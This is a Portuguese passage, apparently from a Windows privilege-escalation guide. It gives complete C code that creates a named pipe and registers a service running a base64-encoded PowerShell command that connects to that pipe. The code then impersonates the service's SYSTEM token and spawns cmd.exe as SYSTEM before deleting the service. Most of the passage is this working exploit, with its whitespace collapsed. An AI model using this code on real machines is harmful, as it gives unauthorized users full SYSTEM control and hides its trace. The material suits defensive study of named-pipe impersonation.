Crie e inicie um serviço que se conectará ao pipe criado e escreverá algo. O código do serviço executará este código PS codificado: $pipe = new-object System.IO.Pipes.NamedPipeClientStream("piper"); $pipe.Connect(); $sw = new-object System.IO.StreamWriter($pipe); $sw.WriteLine("Go"); $sw.Dispose();
O serviço recebe os dados do cliente no pipe, chama ImpersonateNamedPipeClient e aguarda o serviço terminar
Finalmente, usa o token obtido do serviço para gerar um novo cmd.exe
Se você não tiver privilégios suficientes, a exploração pode ficar travada e nunca retornar.
#include<windows.h>#include<time.h>#pragmacomment (lib, "advapi32")#pragmacomment (lib, "kernel32")#definePIPESRV"PiperSrv"#defineMESSAGE_SIZE512intServiceGo(void) {SC_HANDLE scManager;SC_HANDLE scService;scManager =OpenSCManager(NULL, SERVICES_ACTIVE_DATABASE, SC_MANAGER_ALL_ACCESS);if (scManager ==NULL) {returnFALSE;}// create Piper servicescService =CreateServiceA(scManager, PIPESRV, PIPESRV, SERVICE_ALL_ACCESS, SERVICE_WIN32_OWN_PROCESS,SERVICE_DEMAND_START, SERVICE_ERROR_NORMAL,"C:\\Windows\\\System32\\cmd.exe /rpowershell.exe -EncodedCommand JABwAGkAcABlACAAPQAgAG4AZQB3AC0AbwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAEkATwAuAFAAaQBwAGUAcwAuAE4AYQBtAGUAZABQAGkAcABlAEMAbABpAGUAbgB0AFMAdAByAGUAYQBtACgAIgBwAGkAcABlAHIAIgApADsAIAAkAHAAaQBwAGUALgBDAG8AbgBuAGUAYwB0ACgAKQA7ACAAJABzAHcAIAA9ACAAbgBlAHcALQBvAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ASQBPAC4AUwB0AHIAZQBhAG0AVwByAGkAdABlAHIAKAAkAHAAaQBwAGUAKQA7ACAAJABzAHcALgBXAHIAaQB0AGUATABpAG4AZQAoACIARwBvACIAKQA7ACAAJABzAHcALgBEAGkAcwBwAG8AcwBlACgAKQA7AA==",
NULL,NULL,NULL,NULL,NULL);if (scService ==NULL) {//printf("[!] CreateServiceA() failed: [%d]\n", GetLastError());returnFALSE;}// launch itStartService(scService,0,NULL);// wait a bit and then cleanupSleep(10000);DeleteService(scService);CloseServiceHandle(scService);CloseServiceHandle(scManager);}intmain() {LPCSTR sPipeName ="\\\\.\\pipe\\piper";HANDLE hSrvPipe;HANDLE th;BOOL bPipeConn;char pPipeBuf[MESSAGE_SIZE];DWORD dBRead =0;HANDLE hImpToken;HANDLE hNewToken;STARTUPINFOA si;PROCESS_INFORMATION pi;// open pipehSrvPipe =CreateNamedPipeA(sPipeName, PIPE_ACCESS_DUPLEX, PIPE_TYPE_MESSAGE | PIPE_WAIT,PIPE_UNLIMITED_INSTANCES,1024,1024,0,NULL);// create and run serviceth =CreateThread(0,0, (LPTHREAD_START_ROUTINE)ServiceGo,NULL,0,0);// wait for the connection from the servicebPipeConn =ConnectNamedPipe(hSrvPipe,NULL);if (bPipeConn) {ReadFile(hSrvPipe,&pPipeBuf, MESSAGE_SIZE,&dBRead,NULL);// impersonate the service (SYSTEM)if (ImpersonateNamedPipeClient(hSrvPipe)==0) {return-1;}// wait for the service to cleanupWaitForSingleObject(th, INFINITE);// get a handle to impersonated tokenif (!OpenThreadToken(GetCurrentThread(), TOKEN_ALL_ACCESS,FALSE,&hImpToken)) {return-2;}// create new primary token for new processif (!DuplicateTokenEx(hImpToken, TOKEN_ALL_ACCESS,NULL, SecurityDelegation,TokenPrimary,&hNewToken)) {return-4;}//Sleep(20000);// spawn cmd.exe as full SYSTEM userZeroMemory(&si,sizeof(si));si.cb =sizeof(si);ZeroMemory(&pi,sizeof(pi));if (!CreateProcessWithTokenW(hNewToken, LOGON_NETCREDENTIALS_ONLY, L"cmd.exe",NULL,NULL,NULL,NULL, (LPSTARTUPINFOW)&si,&pi)) {return-5;}// revert back to original security contextRevertToSelf();}return0;}